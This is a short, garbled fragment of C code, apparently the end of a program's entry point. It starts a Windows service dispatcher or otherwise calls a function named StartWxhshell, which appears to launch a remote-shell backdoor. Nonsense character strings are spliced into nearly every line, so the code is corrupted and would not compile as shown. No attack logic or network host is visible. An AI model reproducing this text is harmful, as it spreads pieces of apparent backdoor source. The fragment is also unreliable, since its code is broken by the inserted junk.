StartServiceCtrlDispatcher(DispatchTable); w1Kyd?~%]
else Z]dc%>
// 普通方式启动 pVM;xxJ
StartWxhshell(lpCmdLine); [iz
^;e`ZtcI
return 0; /on p<u
}